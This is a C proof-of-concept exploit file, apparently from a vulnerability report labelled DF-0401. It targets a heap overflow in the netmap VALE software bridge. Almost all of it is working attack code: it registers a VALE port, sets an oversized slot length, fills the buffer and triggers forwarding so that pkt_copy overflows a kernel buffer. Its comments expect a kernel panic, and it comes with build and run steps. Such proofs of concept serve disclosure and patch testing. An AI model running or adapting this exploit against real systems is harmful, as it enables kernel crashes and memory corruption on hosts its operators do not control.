DF-0401 / poc.c
/* * DF-0401 PoC: VALE bridge heap overflow via unchecked slot->len * * Requires /dev/netmap access (root or wheel group). * Creates a VALE port, sets slot->len to a large value, and triggers * forwarding which causes pkt_copy to overflow the destination buffer. * * Build: cc -o poc poc.c * Run: ./poc */ #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <unistd.h> /* Minimal netmap headers */ #include <net/netmap.h> #include <net/netmap_user.h> #define OVERFLOW_LEN 65535 int main(void) { struct nmreq nmr; void *mem; int fd; fd = open("/dev/netmap", O_RDWR); if (fd < 0) { perror("open /dev/netmap"); return 1; } /* Register a VALE port */ memset(&nmr, 0, sizeof(nmr)); nmr.nr_version = NETMAP_API; nmr.nr_flags = NR_REG_ALL_NIC; strcpy(nmr.nr_name, "vale1:0"); if (ioctl(fd, NIOCREGIF, &nmr) < 0) { perror("NIOCREGIF"); close(fd); return 1; } /* mmap the netmap memory */ mem = mmap(NULL, nmr.nr_memsize, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (mem == MAP_FAILED) { perror("mmap"); close(fd); return 1; } /* Get the TX ring */ struct netmap_ring *txring; txring = NETMAP_TXRING(mem, nmr.nr_tx_rings); /* Fill a TX slot with an oversized length */ int idx = txring->cur; txring->slot[idx].len = OVERFLOW_LEN; /* NO bounds check in VALE! */ txring->slot[idx].flags = 0; /* Fill the buffer with pattern */ char *buf = NETMAP_BUF(txring, txring->slot[idx].buf_idx); memset(buf, 'A', OVERFLOW_LEN); /* Advance cur to trigger processing */ txring->head = idx; txring->cur = idx + 1; txring->tail = idx + 1; printf("Triggering VALE forwarding with slot->len=%d (buffer is 2048)...\n", OVERFLOW_LEN); /* Sync to trigger nm_bdg_preflush -> nm_bdg_flush -> pkt_copy overflow */ ioctl(fd, NIOCTXSYNC, NULL); printf("ioctl returned (kernel should have panicked)\n"); munmap(mem, nmr.nr_memsize); close(fd); return 0; } |